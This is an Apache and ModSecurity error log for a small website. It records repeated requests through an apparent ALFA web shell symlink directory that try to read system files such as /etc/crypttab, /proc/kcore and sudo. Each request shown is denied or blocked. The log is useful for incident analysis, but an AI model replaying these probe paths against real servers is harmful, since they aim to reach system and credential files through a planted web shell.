[Tue Oct 27 15:17:54.879133 2026] [security2:error] [pid 3288425:tid 3288425] [client 216.73.217.51:10204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/scripts/logo.dat"] [unique_id "auD44rx0ZDTbM_Hhk2l3VQAAAAQ"]
[Tue Oct 27 15:17:55.424759 2026] [core:error] [pid 3288425:tid 3288425] (13)Permission denied: [client 216.73.217.51:10204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/transfermysqlusers
[Tue Oct 27 15:17:59.668273 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 34.233.219.155:42194] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:18:03.207901 2026] [core:error] [pid 3283068:tid 3283068] (13)Permission denied: [client 216.73.217.51:10193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/vmallocinfo
[Tue Oct 27 15:18:03.767286 2026] [core:error] [pid 3288425:tid 3288425] (13)Permission denied: [client 216.73.217.51:13574] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/sudoedit
[Tue Oct 27 15:18:07.578508 2026] [core:error] [pid 3283068:tid 3283068] (13)Permission denied: [client 216.73.217.51:10193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/timer_list
[Tue Oct 27 15:18:07.920272 2026] [ssl:error] [pid 3288463:tid 3288463] (70014)End of file found: [client 23.21.179.120:22216] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:18:08.215662 2026] [core:error] [pid 3283068:tid 3283068] (13)Permission denied: [client 216.73.217.51:10193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/kmsg
[Tue Oct 27 15:18:11.130498 2026] [core:error] [pid 3283068:tid 3283068] (13)Permission denied: [client 216.73.217.51:10193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/c++
[Tue Oct 27 15:18:11.676245 2026] [core:error] [pid 3283068:tid 3283068] (13)Permission denied: [client 216.73.217.51:10193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/sudo
[Tue Oct 27 15:18:12.678996 2026] [core:crit] [pid 3283068:tid 3283068] (13)Permission denied: [client 216.73.217.51:10193] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/fd/' is executable
[Tue Oct 27 15:18:12.679060 2026] [core:crit] [pid 3283068:tid 3283068] (13)Permission denied: [client 216.73.217.51:10193] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/map_files/' is executable
[Tue Oct 27 15:18:12.679091 2026] [core:crit] [pid 3283068:tid 3283068] (13)Permission denied: [client 216.73.217.51:10193] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/fdinfo/' is executable
[Tue Oct 27 15:18:17.292257 2026] [core:crit] [pid 3288463:tid 3288463] (13)Permission denied: [client 216.73.217.51:17398] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/loader/entries/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/loader/entries/' is executable
[Tue Oct 27 15:18:17.805316 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 216.73.217.51:34017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/CSPCheckStatus.lock
[Tue Oct 27 15:18:18.211322 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 216.73.217.51:34017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/g++
[Tue Oct 27 15:18:18.446294 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 185.191.171.1:17114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/usbhid/drivers/usb:usbhid/unbind
[Tue Oct 27 15:18:19.581632 2026] [security2:error] [pid 3285165:tid 3285165] [client 185.191.171.9:39582] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/systemd-nologin.conf"] [unique_id "auD4-1f8rpeqQBNrmsmOEgAAAAg"]
[Tue Oct 27 15:18:19.582165 2026] [security2:error] [pid 3285165:tid 3285165] [client 185.191.171.9:39582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/systemd-nologin.conf"] [unique_id "auD4-1f8rpeqQBNrmsmOEgAAAAg"]
[Tue Oct 27 15:18:19.582566 2026] [security2:error] [pid 3285165:tid 3285165] [client 185.191.171.9:39582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/systemd-nologin.conf"] [unique_id "auD4-1f8rpeqQBNrmsmOEgAAAAg"]
[Tue Oct 27 15:18:19.805855 2026] [ssl:error] [pid 3286942:tid 3286942] (70014)End of file found: [client 107.20.224.184:15642] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:18:21.417151 2026] [core:error] [pid 3287026:tid 3287026] (13)Permission denied: [client 216.73.217.51:55411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/gather_update_logs_setupcrontab
[Tue Oct 27 15:18:23.146986 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 216.73.217.51:34017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/system_needs_reboot.cache
[Tue Oct 27 15:18:23.602069 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 216.73.217.51:34017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/kcore
[Tue Oct 27 15:18:23.783397 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 216.73.217.51:34017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/crypttab
[Tue Oct 27 15:18:24.341414 2026] [core:crit] [pid 3274954:tid 3274954] (13)Permission denied: [client 216.73.217.51:34017] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/' is executable